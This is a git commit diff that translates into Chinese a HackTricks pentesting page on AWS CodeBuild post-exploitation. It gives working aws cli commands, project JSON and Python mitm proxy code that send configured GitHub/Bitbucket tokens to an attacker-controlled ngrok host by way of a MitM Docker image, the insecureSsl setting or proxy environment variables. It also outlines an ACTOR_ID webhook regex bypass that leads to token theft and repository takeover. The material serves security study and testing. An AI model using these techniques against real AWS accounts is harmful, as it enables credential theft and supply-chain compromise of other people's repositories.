Translated ['', 'src/pentesting-cloud/aws-security/aws-post-exploitation

This commit is contained in:
Translator
2026-01-18 15:11:27 +00:00
parent e2baeb81a2
commit 037b82d5df

View File

@@ -2,47 +2,47 @@
{{#include ../../../../banners/hacktricks-training.md}}
## 恢复 Github/Bitbucket 配置的令牌
## 恢复已配置的 Github/Bitbucket Tokens
首先,检查是否配置了任何源凭据,以便您可以泄露
首先,检查是否存在任何已配置的源凭证,你可以 leak
```bash
aws codebuild list-source-credentials
```
### 通过 Docker 镜像
### Via Docker Image
如果发现例如 Github 的身份验证已在账户中设置,可以通过让 Codebuild **使用特定的 Docker 镜像** **提取** **访问** **GH token OAuth token**以运行项目的构建
如果发现该账号中对例如 Github 的认证已设置,可以通过让 Codebuild **use an specific docker image**运行项目构建,从而 **exfiltrate** 那个 **access****GH token or OAuth token**)。
为此,您可以 **创建一个新的 Codebuild 项目** 或更改现有项目的 **环境** 设置 **Docker 镜像**
为此可以 **create a new Codebuild project** 或更改现有项目的 **环境** 设置 **Docker image**
可以使用的 Docker 镜像是 [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm)。这是一个非常基的 Docker 镜像,将设置 **环境变量 `https_proxy`**、**`http_proxy`** 和 **`SSL_CERT_FILE`**。这将允许拦截 **`https_proxy`** 和 **`http_proxy`** 中指示的主机的大部分流量,并信任 **`SSL_CERT_FILE`** 中指示的 SSL 证书。
可以使用的 Docker image 是 [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm)。这是一个非常基的 Docker image会设置 **env variables `https_proxy`**、**`http_proxy`** 和 **`SSL_CERT_FILE`**。这将允许拦截 **`https_proxy`** 和 **`http_proxy`** 指定主机的大部分流量,并信任 **`SSL_CERT_FILE`** 指定的 SSL 证书。
1. **创建并上传您自己的 Docker MitM 镜像**
- 按照仓库的说明设置的代理 IP 地址并设置的 SSL 证书,然后 **构建 Docker 镜像**
- **不要设置 `http_proxy`** 以避免拦截对元数据端点的请求。
- 可以使用 **`ngrok`**,例如 `ngrok tcp 4444` 将代理设置为您的主机
- 一旦构建 Docker 镜像,**将其上传到公共仓库**Dockerhub、ECR...
2. **设置环境**
- 创建一个 **新的 Codebuild 项目****修改** 现有项目的环境。
- 设置项目以使用 **之前生成的 Docker 镜像**
1. **Create & Upload your own Docker MitM image**
- 按照该 repo 的说明设置的代理 IP 地址并设置的 SSL 证书,然后 **build the docker image**
- **DO NOT SET `http_proxy`**,以免拦截到 metadata endpoint 的请求。
- 可以使用 **`ngrok`**,例如 `ngrok tcp 4444` 将代理指向你的主机
- 一旦构建 Docker image**upload it to a public repo**Dockerhub、ECR...
2. **Set the environment**
- 创建一个 **new Codebuild project****modify** 现有项目的环境。
- 将项目设置为使用 **previously generated Docker image**
<figure><img src="../../../../images/image (23).png" alt=""><figcaption></figcaption></figure>
3. **在您的主机上设置 MitM 代理**
3. **Set the MitM proxy in your host**
-**Github 仓库** 所示,可以使用类似的内容
-**Github repo** 所示,可以使用类似:
```bash
mitmproxy --listen-port 4444 --allow-hosts "github.com"
```
> [!TIP]
> 使用的 **mitmproxy 版本是 9.0.1**报道在版本 10 这可能无法工作。
> 使用的 **mitmproxy 版本是 9.0.1**报道在版本 10 这可能无法工作。
4. **运行构建并捕获凭**
4. **运行构建并捕获凭**
- 可以在 **Authorization** 头中看到令牌
- 可以在 **Authorization** 头中看到 token
<figure><img src="../../../../images/image (273).png" alt=""><figcaption></figcaption></figure>
这也可以通过 aws cli 以类似的方式完成。
这也可以通过 aws cli 完成,例如:
```bash
# Create project using a Github connection
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
@@ -73,15 +73,15 @@ aws codebuild start-build --project-name my-project2
```
### 通过 insecureSSL
**Codebuild** 项目有一个名为 **`insecureSsl`** 的设置,设置在网页中隐藏,您只能通过 API 更改它。\
启用此选项Codebuild 可以连接到存储库 **而不检查** 平台提供的证书。
**Codebuild** 项目有一个名为 **`insecureSsl`** 的设置,这个设置在 web 界面中是隐藏的,只能通过 API 修改.\
启用后,允许 Codebuild 连接到仓库时**不校验平台提供的证书**
- 首先,您需要使用类似以下的方式枚举当前配置:
- 首先需要用类似下面的命令枚举当前配置:
```bash
aws codebuild batch-get-projects --name <proj-name>
```
- 然后,使用收集到的信息,可以将项目设置 **`insecureSsl`** 更新为 **`True`**。下是我更新项目的示例,注意最后**`insecureSsl=True`**(这是需要从收集的配置中更改的唯一内容)。
- 此外,还要添加环境变量 **http_proxy****https_proxy**指向的 tcp ngrok
- 然后,使用收集到的信息,可以将项目设置 **`insecureSsl`** 更新为 **`True`**。下是我更新项目的示例,注意末尾**`insecureSsl=True`**(这是需要从收集的配置中更改的唯一一项)。
- 此外,还要添加环境变量 **http_proxy****https_proxy** 指向的 tcp ngrok如:
```bash
aws codebuild update-project --name <proj-name> \
--source '{
@@ -115,7 +115,7 @@ aws codebuild update-project --name <proj-name> \
]
}'
```
- 然后,在代理变量指向的端口http_proxy 和 https_proxy运行来自 [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) 的基本示例
- 然后在代理变量http_proxy 和 https_proxy所指向的端口上运行来自 [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) 的基本示例
```python
from mitm import MITM, protocol, middleware, crypto
@@ -128,24 +128,24 @@ certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
```
- 最后,点击 **Build the project****凭证**将以 **明文**base64发送到 mitm 端口:
- 最后,点击 **构建项目 (Build the project)**这些 **credentials** 将以 **明文**base64发送到 mitm 端口:
<figure><img src="../../../../images/image (1) (1).png" alt=""><figcaption></figcaption></figure>
### ~~通过 HTTP 协议~~
> [!TIP] > **这个漏洞在 2023 年 2 月 20 周的某个时候被 AWS 修复(我想是星期五)。所以攻击者不能再利用它 :)**
> [!TIP] > **这个漏洞在 2023 年 2 月 20 日那一周被 AWS 修复(我想是五)。因此攻击者无法再滥用它 :)**
具有 **提升权限的攻击者在 CodeBuild 中可能会泄露配置的 Github/Bitbucket 令牌**,或者如果权限通过 OAuth 配置,则会泄露 **用于访问代码的临时 OAuth 令牌**
具有对 CodeBuild 提权的攻击者可能会 leak 已配置的 Github/Bitbucket token,或者如果权限通过 OAuth 配置,则会 leak 用于访问代码的临时 OAuth token
- 攻击者可以环境变量 **http_proxy****https_proxy** 添加到 CodeBuild 项目,指向他的机器(例如 `http://5.tcp.eu.ngrok.io:14972`)。
- 攻击者可以在 CodeBuild 项目中添加环境变量 **http_proxy****https_proxy** 指向其机器(例如 `http://5.tcp.eu.ngrok.io:14972`)。
<figure><img src="../../../../images/image (232).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../../images/image (213).png" alt=""><figcaption></figcaption></figure>
- 然后,将 github 仓库的 URL 改为使用 HTTP 而不是 HTTPS例如 `http://github.com/carlospolop-forks/TestActions`
- 然后,在代理变量指向的端口http_proxy 和 https_proxy上运行来自 [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) 的基本示例。
- 然后,将 github 仓库的 URL 改为使用 HTTP 而不是 HTTPS例如`http://github.com/carlospolop-forks/TestActions`
- 然后,在代理变量http_proxy 和 https_proxy指向的端口上运行来自 [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) 的基本示例。
```python
from mitm import MITM, protocol, middleware, crypto
@@ -158,15 +158,32 @@ certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
```
- 接下来,点击 **Build the project** 或从命令行启动构建:
- 接下来,点击 **构建项目** 或从命令行启动构建:
```sh
aws codebuild start-build --project-name <proj-name>
```
- 最后,**凭证**将以**明文**base64发送到mitm端口
- 最后,**credentials** 将以**明文**base64发送到 mitm 端口:
<figure><img src="../../../../images/image (159).png" alt=""><figcaption></figcaption></figure>
> [!WARNING]
> 现在攻击者将能够从他的机器上使用令牌,列出拥有的所有权限,并比直接使用CodeBuild服务更容易滥用
> 现在攻击者可以在其机器上使用该 token,列出拥有的所有权限,并比直接使用 CodeBuild 服务更容易滥用
## Webhook filter ACTOR_ID regex allowlist 绕过PR 触发的特权构建)
配置错误的 CodeBuild GitHub webhook 使用未加锚点的 `ACTOR_ID` regex 时,会允许 *untrusted* PR 启动特权构建。如果 allowlist 写成 `123456|7890123` 而没有 `^`/`$`,任何包含这些子串之一的 ID 都会匹配。由于 GitHub 用户 ID 是顺序分配的,攻击者可以争先注册一个 “eclipsing” ID包含受信任 ID 的超串),从而触发构建。
**Exploit path**
1. 查找公开的 CodeBuild 项目,暴露 webhook filters 并提取未加锚点的 `ACTOR_ID` allowlist。
2. 获得一个 eclipsing GitHub ID
- 通过创建/删除 GitHub orgs 来抽样全局 ID 计数器org IDs 共享该池)。
- 预先准备大量 GitHub App manifest 的创建请求,当计数器接近目标约 100 个 ID 时,触发确认 URL 以突发性注册一个包含受信任子串的 bot ID。
3. 用 eclipsing 账户发起 PRregex 会匹配该子串,从而运行特权构建。
4. 利用构建 RCE例如依赖安装钩子转储处理 GitHub credential 的进程内存并恢复 PAT/OAuth token。
5. 使用该 token 的 `repo` scope将你的账户邀请为 collaborator/admin推送/批准恶意提交或外泄 secrets。
## References
- [Wiz: CodeBreach AWS CodeBuild ACTOR_ID regex bypass and token theft](https://www.wiz.io/blog/wiz-research-codebreach-vulnerability-aws-codebuild)
{{#include ../../../../banners/hacktricks-training.md}}